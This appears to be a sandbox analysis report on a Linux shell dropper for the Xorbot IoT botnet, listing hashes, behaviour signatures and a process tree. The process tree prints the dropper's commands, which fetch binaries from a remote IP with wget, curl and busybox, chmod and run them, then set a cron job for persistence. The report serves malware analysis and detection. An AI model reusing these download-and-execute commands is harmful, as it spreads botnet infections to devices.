Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    28/02/2025, 12:26

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6d5db893b3366e9b599c283095502209

  • SHA1

    20bb6748cb464f266c5d2d9c823902992608268f

  • SHA256

    0fd5bcfd27d9e8c93debe59a1730b63f457b08ffcdc63cb99f403cae0a2a43c4

  • SHA512

    45f4e7d8a98a99afa62b6cb40a23cf17a1f7092fa2ae5d73ec70ee10484cbb7c2c4f99c8d78583d66818b993c8dba10403e372929a16f59b418982dea1c58402

  • SSDEEP

    96:T5p4I7ZprzE5FJM0Rl8rLNfSMgZeTy4U83SuuhlnzQMsnyI7ZgdurzE5FZ60Rl8h:T5p41M5f9U83Suuhln07LU83Su4hlnY

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (922) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:693
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:701
      • /usr/bin/wget
        wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:703
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:711
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • Writes file to tmp directory
        PID:721
      • /bin/chmod
        chmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
        • File and Directory Permissions Modification
        PID:723
      • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        ./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
        2⤵
          PID:724
        • /bin/rm
          rm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F
          2⤵
            PID:726
          • /usr/bin/wget
            wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:727
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • Writes file to tmp directory
            PID:730
          • /bin/chmod
            chmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            ./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
            2⤵
              PID:732
            • /bin/rm
              rm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74
              2⤵
                PID:734
              • /usr/bin/wget
                wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:735
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Writes file to tmp directory
                PID:815
              • /bin/chmod
                chmod 777 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • File and Directory Permissions Modification
                PID:816
              • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                ./6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                2⤵
                • Renames itself
                • Reads runtime system information
                PID:817
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:819
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:820
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:821
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:822
                    • /bin/rm
                      rm 6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X
                      2⤵
                        PID:824
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                        2⤵
                          PID:875
                        • /usr/bin/curl
                          curl -O http://37.44.238.88/bins/BfQqGC02Eeb96LuCc78f7c9YULu8pS25eY
                          2⤵
                            PID:908

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.QPLxrK

                          Filesize

                          210B

                          MD5

                          781a809472ec21ec9e65ed58b1400837

                          SHA1

                          56bc0044a22720ee512fe9f76b4e83332f24f498

                          SHA256

                          0436b77237a93f96a7cea11d9672fba239fb8a8890c845d1465988bf6299c150

                          SHA512

                          b107b62d851f63b26883532310f9f0417aedb40387c08b8e7370b6742d25df614edd12cc80614447aa021ab6a7f67dc2f8ba86683835adc56c139cb3e4db8459